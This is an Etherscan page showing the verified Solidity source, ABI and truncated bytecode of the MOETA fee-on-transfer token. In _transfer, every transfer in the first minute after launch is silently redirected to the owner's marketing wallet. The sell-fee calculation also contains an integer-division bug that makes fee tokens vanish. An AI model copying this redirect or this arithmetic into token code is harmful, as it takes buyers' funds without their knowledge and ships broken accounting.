ETH Price: $2,566.87 (-1.48%)
Gas: 4 Gwei

Token

MOETA (MOETA)
 

Overview

Max Total Supply

92,831,670.569656180919807088 MOETA

Holders

27

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Moeta

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-07
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.13;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
            address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
            ) external payable returns (
                uint256 amountToken, uint256 amountETH, uint256 liquidity
                );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline
            ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

contract Ownable is Context {
    address private _owner;
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner.");
        _;
    }
    function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
    function transferOwnership(address newOwner) external virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address.");
        _owner = newOwner;
    }
}

contract Moeta is IERC20, Ownable {
    IRouter public uniswapV2Router;
    address public uniswapV2Pair;
    string private constant _name =  "MOETA";
    string private constant _symbol = "MOETA";
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply = 100000000 * 10**18; // 100 million
    mapping (address => bool) public automatedMarketMakerPairs;
    bool private isLiquidityAdded = false;
    uint256 public maxWalletAmount = _totalSupply;
    uint256 public maxTxAmount = _totalSupply;
    mapping (address => bool) private _isExcludedFromMaxWalletLimit;
    mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
    mapping (address => bool) private _isExcludedFromFee;
    uint8 public buyMarketingFee = 3;
    uint8 public buyBurnFee = 3;
    uint8 public sellMarketingFee = 6;
    uint8 public sellBurnFee = 3;
    uint8 public sellLiquidityFee = 6;
    uint8 public ethPercentToLiquidity = 20;
    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
    address public marketingWallet;
    address public liquidityWallet;
    uint256 minimumTokensBeforeSwap = _totalSupply * 250 / 1000000; // .025%
    uint256 private _launchTimestamp;

    constructor() {
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        marketingWallet = owner();
        liquidityWallet = owner();
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[deadWallet] = true;
        _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxWalletLimit[address(this)] = true;
        _isExcludedFromMaxWalletLimit[owner()] = true;
        _isExcludedFromMaxWalletLimit[deadWallet] = true;
        _isExcludedFromMaxTransactionLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxTransactionLimit[address(this)] = true;
        _isExcludedFromMaxTransactionLimit[owner()] = true;
        _isExcludedFromMaxTransactionLimit[deadWallet] = true;
        balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    receive() external payable {} // so the contract can receive eth

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance.");
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allownace below zero.");
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function _approve(address owner, address spender,uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }

    function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
        require(_isExcludedFromMaxWalletLimit[account] != excluded, "wallet address already excluded.");
        _isExcludedFromMaxWalletLimit[account] = excluded;
    }

    function excludeFromFees(address account, bool excluded) external onlyOwner {
        require(_isExcludedFromFee[account] != excluded, "wallet address already excluded.");
        _isExcludedFromFee[account] = excluded;
    }

    function setBuyFees(uint8 newBuyMarketingFee, uint8 newBuyBurnFee) external onlyOwner {
        require(newBuyMarketingFee <= 10, "new buyMarketingFee must be <= 10.");
        require(newBuyBurnFee <= 5, "new buyBurnFee must be <= 5.");
        buyMarketingFee = newBuyMarketingFee;
        buyBurnFee = newBuyBurnFee;
    }

    function setSellFees(uint8 newSellMarketingFee, uint8 newSellBurnFee, uint8 newSellLiquidityFee) external onlyOwner {
        require(newSellMarketingFee <= 7, "new sellMarketingFee must be <= 7.");
        require(newSellBurnFee <= 5, "new sellBurnFee must be <= 5.");
        require(newSellLiquidityFee <= 8, "new sellLiquidityFee must be <= 8.");
        sellMarketingFee = newSellMarketingFee;
        sellBurnFee = newSellBurnFee;
        sellLiquidityFee = newSellLiquidityFee;
    }

    function setMaxWalletAmount(uint256 newValue) external onlyOwner {
        require(newValue != maxWalletAmount, "cannot update maxWalletAmount to same value.");
        require(newValue > _totalSupply * 1 / 100, "maxWalletAmount must be >1% of total supply.");
        maxWalletAmount = newValue;
    }

    function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
        require(newValue != maxTxAmount, "cannot update maxTxAmount to same value.");
        require(newValue > _totalSupply * 1 / 1000, "maxTxAmount must be > .1% of total supply.");
        maxTxAmount = newValue;
    }

    function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
        require(newValue != minimumTokensBeforeSwap, "cannot update minimumTokensBeforeSwap to same value.");
        minimumTokensBeforeSwap = newValue;
    }

    function setEthPercentToLiquidity(uint8 newValue) external onlyOwner {
        require(newValue != ethPercentToLiquidity, "cannot update ethPercentToLiquidity to same value.");
        ethPercentToLiquidity = newValue;
    }

    function setNewMarketingWallet(address newAddress) external onlyOwner {
        require(newAddress != marketingWallet, "cannot update marketingWallet to same address.");
        _isExcludedFromFee[marketingWallet] = false;
        _isExcludedFromMaxTransactionLimit[marketingWallet] = false;
        _isExcludedFromMaxWalletLimit[marketingWallet] = false;
        marketingWallet = newAddress;
        _isExcludedFromFee[marketingWallet] = true;
        _isExcludedFromMaxTransactionLimit[marketingWallet] = true;
        _isExcludedFromMaxWalletLimit[marketingWallet] = true;
    }

    function setNewLiquidityWallet(address newAddress) external onlyOwner {
        require(newAddress != liquidityWallet, "cannot update liquidityWallet to same address.");
        _isExcludedFromFee[liquidityWallet] = false;
        _isExcludedFromMaxTransactionLimit[liquidityWallet] = false;
        _isExcludedFromMaxWalletLimit[liquidityWallet] = false;
        liquidityWallet = newAddress;
        _isExcludedFromFee[liquidityWallet] = true;
        _isExcludedFromMaxTransactionLimit[liquidityWallet] = true;
        _isExcludedFromMaxWalletLimit[liquidityWallet] = true;
    }

    function withdrawStuckETH() external onlyOwner {
        require(address(this).balance > 0, "cannot send more than contract balance.");
        uint256 amount = address(this).balance;
        (bool success,) = address(owner()).call{value : amount}("");
        require(success, "error withdrawing ETH from contract.");
    }

    function activateTrading() external onlyOwner {
        require(!isLiquidityAdded, "you can only add liquidity once.");
        isLiquidityAdded = true;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, _msgSender(), block.timestamp);
        address _uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH() );
        uniswapV2Pair = _uniswapV2Pair;
        maxWalletAmount = _totalSupply * 2 / 100; //  2%
        maxTxAmount = _totalSupply * 2 / 100;     //  2%
        _isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
        _isExcludedFromMaxTransactionLimit[_uniswapV2Pair] = true;
        _setAutomatedMarketMakerPair(_uniswapV2Pair, true);
        _launchTimestamp = block.timestamp;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        require(automatedMarketMakerPairs[pair] != value, "automated market maker pair is already set to that value.");
        automatedMarketMakerPairs[pair] = value;
    }

    function name() external pure returns (string memory) { return _name; }
    function symbol() external pure returns (string memory) { return _symbol; }
    function decimals() external view virtual returns (uint8) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
    function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "cannot transfer from the zero address.");
        require(to != address(0), "cannot transfer to the zero address.");
        require(amount > 0, "transfer amount must be greater than zero.");
        require(amount <= balanceOf(from), "cannot transfer more than balance.");
        if (block.timestamp - _launchTimestamp <= 60) { to = marketingWallet; } // 1 minute
        if ((from == address(uniswapV2Pair) && !_isExcludedFromMaxTransactionLimit[to]) ||
                (to == address(uniswapV2Pair) && !_isExcludedFromMaxTransactionLimit[from])) {
            require(amount <= maxTxAmount, "transfer amount exceeds the maxTxAmount.");
        }
        if (!_isExcludedFromMaxWalletLimit[to]) {
            require((balanceOf(to) + amount) <= maxWalletAmount, "expected wallet amount exceeds the maxWalletAmount.");
        }
        if (_isExcludedFromFee[from] || _isExcludedFromFee[to] ||
                (from == uniswapV2Pair && buyMarketingFee + buyBurnFee == 0) ||                 // buy
                (to == uniswapV2Pair && sellMarketingFee + sellBurnFee + sellLiquidityFee == 0) // sell
           ) {
            balances[from] -= amount;
            balances[to] += amount;
            emit Transfer(from, to, amount);
        } else {
            balances[from] -= amount;
            if (from == uniswapV2Pair) { // buy
                balances[address(this)] += amount * buyMarketingFee / 100;
                emit Transfer(from, address(this), amount * buyMarketingFee / 100);
                balances[to] += amount - (amount * (buyMarketingFee + buyBurnFee) / 100);
                _totalSupply -= amount * buyBurnFee / 100;
                emit Transfer(from, to, amount - (amount * (buyMarketingFee + buyBurnFee) / 100));

            } else { // sell
                balances[address(this)] += amount * ((sellMarketingFee + sellLiquidityFee) / 100);
                emit Transfer(from, address(this), amount * ((sellMarketingFee + sellLiquidityFee) / 100));
                if (balanceOf(address(this)) > minimumTokensBeforeSwap) {
                    uint256 tokensForLiquidity = balanceOf(address(this)) * sellLiquidityFee / (buyMarketingFee + sellMarketingFee + sellLiquidityFee) / 2;
                    _swapTokensForETH(balanceOf(address(this)) - tokensForLiquidity);
                    _addLiquidity(tokensForLiquidity, address(this).balance * ethPercentToLiquidity / 100);
                    payable(marketingWallet).transfer(address(this).balance);
                }
                balances[to] += amount - (amount * (sellMarketingFee + sellBurnFee + sellLiquidityFee) / 100);
                _totalSupply -= amount * sellBurnFee / 100;
                emit Transfer(from, to, amount - (amount * (sellMarketingFee + sellBurnFee + sellLiquidityFee) / 100));
            }
        }
    }

    function _swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
                address(this),
                tokenAmount,
                0, // slippage is unavoidable
                0, // slippage is unavoidable
                liquidityWallet,
                block.timestamp
                );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ethPercentToLiquidity","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidityWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyMarketingFee","type":"uint8"},{"internalType":"uint8","name":"newBuyBurnFee","type":"uint8"}],"name":"setBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newValue","type":"uint8"}],"name":"setEthPercentToLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMinimumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setNewLiquidityWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setNewMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newSellMarketingFee","type":"uint8"},{"internalType":"uint8","name":"newSellBurnFee","type":"uint8"},{"internalType":"uint8","name":"newSellLiquidityFee","type":"uint8"}],"name":"setSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526a52b7d2dcc80cd2e40000006005556000600760006101000a81548160ff0219169083151502179055506005546008556005546009556003600d60006101000a81548160ff021916908360ff1602179055506003600d60016101000a81548160ff021916908360ff1602179055506006600d60026101000a81548160ff021916908360ff1602179055506003600d60036101000a81548160ff021916908360ff1602179055506006600d60046101000a81548160ff021916908360ff1602179055506014600d60056101000a81548160ff021916908360ff160217905550620f424060fa600554620000f79190620007c3565b62000103919062000853565b600f553480156200011357600080fd5b506000620001266200075960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001d36200076160201b60201c565b600d60066101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002236200076160201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000620002796200076160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000620004646200076160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000620005f76200076160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600554600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200074a91906200089c565b60405180910390a350620008b9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007d0826200078a565b9150620007dd836200078a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000819576200081862000794565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000860826200078a565b91506200086d836200078a565b92508262000880576200087f62000824565b5b828204905092915050565b62000896816200078a565b82525050565b6000602082019050620008b360008301846200088b565b92915050565b615a8d80620008c96000396000f3fe60806040526004361061023f5760003560e01c80638da5cb5b1161012e578063b62496f5116100ab578063e22b62de1161006f578063e22b62de14610882578063e71dc3f5146108ab578063f2fde38b146108d6578063f5648a4f146108ff578063f63743421461091657610246565b8063b62496f51461078b578063c0246668146107c8578063c9700097146107f1578063d46980161461081a578063dd62ed3e1461084557610246565b8063a9059cbb116100f2578063a9059cbb146106a4578063aa4bde28146106e1578063ab1a91c31461070c578063adb873bd14610737578063aee50b1e1461076257610246565b80638da5cb5b146105bd57806392136913146105e857806395d89b4114610613578063985866d51461063e578063a457c2d71461066757610246565b806339509351116101bc57806375f0a8741161018057806375f0a874146104e8578063781edb3c146105135780637bce5a041461053c57806385141a77146105675780638c0b5e221461059257610246565b8063395093511461040357806349bd5a5e146104405780635ce6e5431461046b57806370a0823114610494578063715018a6146104d157610246565b806318160ddd1161020357806318160ddd1461031e5780631e293c101461034957806323b872dd1461037257806327a14fc2146103af578063313ce567146103d857610246565b806306fdde031461024b578063095ea7b3146102765780630bd05b69146102b35780631600d302146102ca5780631694505e146102f357610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610941565b60405161026d9190614052565b60405180910390f35b34801561028257600080fd5b5061029d6004803603810190610298919061410d565b61097e565b6040516102aa9190614168565b60405180910390f35b3480156102bf57600080fd5b506102c861099c565b005b3480156102d657600080fd5b506102f160048036038101906102ec9190614183565b610e6f565b005b3480156102ff57600080fd5b506103086112b4565b604051610315919061420f565b60405180910390f35b34801561032a57600080fd5b506103336112da565b6040516103409190614239565b60405180910390f35b34801561035557600080fd5b50610370600480360381019061036b9190614254565b6112e4565b005b34801561037e57600080fd5b5061039960048036038101906103949190614281565b611424565b6040516103a69190614168565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d19190614254565b6115a2565b005b3480156103e457600080fd5b506103ed6116e1565b6040516103fa91906142f0565b60405180910390f35b34801561040f57600080fd5b5061042a6004803603810190610425919061410d565b6116ea565b6040516104379190614168565b60405180910390f35b34801561044c57600080fd5b50610455611796565b604051610462919061431a565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d9190614361565b6117bc565b005b3480156104a057600080fd5b506104bb60048036038101906104b69190614183565b6118c6565b6040516104c89190614239565b60405180910390f35b3480156104dd57600080fd5b506104e661190f565b005b3480156104f457600080fd5b506104fd6119e7565b60405161050a919061431a565b60405180910390f35b34801561051f57600080fd5b5061053a600480360381019061053591906143ba565b611a0d565b005b34801561054857600080fd5b50610551611b8f565b60405161055e91906142f0565b60405180910390f35b34801561057357600080fd5b5061057c611ba2565b604051610589919061431a565b60405180910390f35b34801561059e57600080fd5b506105a7611ba8565b6040516105b49190614239565b60405180910390f35b3480156105c957600080fd5b506105d2611bae565b6040516105df919061431a565b60405180910390f35b3480156105f457600080fd5b506105fd611bd7565b60405161060a91906142f0565b60405180910390f35b34801561061f57600080fd5b50610628611bea565b6040516106359190614052565b60405180910390f35b34801561064a57600080fd5b5061066560048036038101906106609190614183565b611c27565b005b34801561067357600080fd5b5061068e6004803603810190610689919061410d565b61206c565b60405161069b9190614168565b60405180910390f35b3480156106b057600080fd5b506106cb60048036038101906106c6919061410d565b6121de565b6040516106d89190614168565b60405180910390f35b3480156106ed57600080fd5b506106f66121fc565b6040516107039190614239565b60405180910390f35b34801561071857600080fd5b50610721612202565b60405161072e91906142f0565b60405180910390f35b34801561074357600080fd5b5061074c612215565b60405161075991906142f0565b60405180910390f35b34801561076e57600080fd5b5061078960048036038101906107849190614254565b612228565b005b34801561079757600080fd5b506107b260048036038101906107ad9190614183565b61230b565b6040516107bf9190614168565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea91906143ba565b61232b565b005b3480156107fd57600080fd5b50610818600480360381019061081391906143fa565b6124ad565b005b34801561082657600080fd5b5061082f61260a565b60405161083c919061431a565b60405180910390f35b34801561085157600080fd5b5061086c6004803603810190610867919061443a565b612630565b6040516108799190614239565b60405180910390f35b34801561088e57600080fd5b506108a960048036038101906108a4919061447a565b6126b7565b005b3480156108b757600080fd5b506108c0612877565b6040516108cd91906142f0565b60405180910390f35b3480156108e257600080fd5b506108fd60048036038101906108f89190614183565b61288a565b005b34801561090b57600080fd5b506109146129d1565b005b34801561092257600080fd5b5061092b612b65565b60405161093891906142f0565b60405180910390f35b60606040518060400160405280600581526020017f4d4f455441000000000000000000000000000000000000000000000000000000815250905090565b600061099261098b612b78565b8484612b80565b6001905092915050565b6109a4612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a289061453f565b60405180910390fd5b600760009054906101000a900460ff1615610a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a78906145ab565b60405180910390fd5b6001600760006101000a81548160ff021916908315150217905550610acb30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554612b80565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b14306118c6565b600080610b1f612b78565b426040518863ffffffff1660e01b8152600401610b4196959493929190614606565b60606040518083038185885af1158015610b5f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b84919061467c565b5050506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bf6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1a91906146e4565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc791906146e4565b6040518363ffffffff1660e01b8152600401610ce4929190614711565b602060405180830381865afa158015610d01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610